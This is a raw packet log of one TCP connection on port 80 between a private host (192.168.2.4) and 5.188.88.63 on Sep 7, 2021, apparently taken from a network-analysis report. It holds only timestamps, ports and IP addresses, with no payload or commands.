Sep 7, 2021 16:03:06.675231934 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675257921 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675266981 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.675296068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675322056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675333977 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.675348043 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675384998 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675409079 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.675410986 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675445080 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675455093 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.675473928 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675503969 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675508976 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.675534010 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675565004 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675575972 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.675595045 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675625086 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675635099 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.675656080 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675685883 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675689936 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.675718069 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675748110 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675751925 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.675770044 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675787926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675806046 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675834894 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675844908 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.675860882 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675887108 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675904989 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.675914049 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675940037 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675959110 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.675966024 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.675992966 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.676003933 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.696476936 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.749849081 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.749941111 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.750003099 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.750025034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.750046968 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.750070095 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.750072956 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.750096083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.750112057 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.750123024 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.750144958 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.750168085 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.750170946 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.750190973 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.750226974 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.757949114 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.757982969 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758009911 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758030891 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758033991 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758058071 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758063078 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758080006 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758101940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758111954 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758131027 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758156061 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758157969 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758179903 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758199930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758232117 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758255005 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758276939 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758276939 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758296967 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758322001 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758323908 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758346081 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758363962 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758389950 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758389950 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758414030 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758434057 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758436918 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758460999 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758482933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758491039 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758506060 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758517027 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758528948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758548975 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758552074 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758579969 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758599997 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758603096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758621931 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758644104 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758647919 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758667946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758687973 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758692980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758717060 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758738995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758742094 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758760929 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758784056 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758785009 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758806944 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758830070 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758841991 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758846998 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758869886 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758876085 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758893013 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758914948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758927107 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758935928 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758958101 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.758970022 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.758981943 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759006977 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759008884 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759031057 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759053946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759057999 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759076118 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759099007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759102106 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759150028 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759246111 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759274006 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759295940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759320021 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759327888 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759342909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759365082 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759375095 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759392977 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759417057 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759430885 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759443045 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759465933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759493113 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759497881 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759516954 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759540081 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759551048 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759563923 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759582996 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759589911 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759608030 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759625912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759649992 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759649992 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759668112 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759687901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759710073 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759713888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759715080 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759732962 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759749889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759773016 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759788036 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759793043 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759797096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759818077 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759835005 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759841919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759860039 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759875059 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759885073 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759902954 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759919882 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.759927988 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759947062 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759970903 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.759989023 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760008097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760025978 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760044098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760087013 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760092020 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.760097980 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.760101080 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.760103941 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.760104895 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760124922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760149002 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760166883 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760184050 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760205984 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.760209084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760210991 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.760227919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760246038 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760262966 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.760270119 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.760272980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760289907 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760313034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760325909 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.760337114 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760358095 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.760360003 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760380983 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760406017 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760420084 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.760430098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760449886 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760471106 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.760477066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.760514021 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.760817051 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.769514084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.769572973 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.804510117 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.823316097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.823352098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.823375940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.823394060 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.823400974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.823425055 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.823426962 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.823451996 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.823463917 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.823477030 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.823487043 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.823502064 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.823515892 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.823527098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.823548079 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.823589087 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.833926916 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.833962917 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.833986998 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834009886 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834016085 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834034920 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834041119 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834068060 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834093094 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834093094 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834117889 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834117889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834142923 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834148884 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834172964 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834198952 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834213972 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834220886 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834224939 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834224939 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834250927 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834274054 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834276915 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834301949 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834312916 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834327936 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834328890 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834353924 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834367037 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834391117 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834392071 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834418058 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834445000 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834445953 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834470987 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834474087 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834496021 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834501028 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834521055 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834532976 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834544897 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834547043 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834572077 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834582090 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834584951 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834600925 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834626913 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834636927 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834650040 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834652901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834678888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834681988 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834703922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834707022 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834738970 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834743023 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834764957 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834767103 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834789991 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834791899 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834813118 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834820032 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834832907 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834846973 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834871054 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834872007 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834892988 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834897041 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834907055 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834923029 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.834948063 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.834990978 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.844839096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.850783110 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.852468014 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.896927118 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.896962881 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.896986008 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.897010088 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.897011995 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.897094965 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.897109032 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.908853054 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.908886909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.908915997 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.908950090 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.908982038 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.909010887 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.909029007 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.909116983 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.983380079 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983422995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983454943 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983486891 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983520031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983551025 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:06.983550072 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.983568907 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:06.983584881 CEST	80	49772	5.188.88.63	192.168.2.4
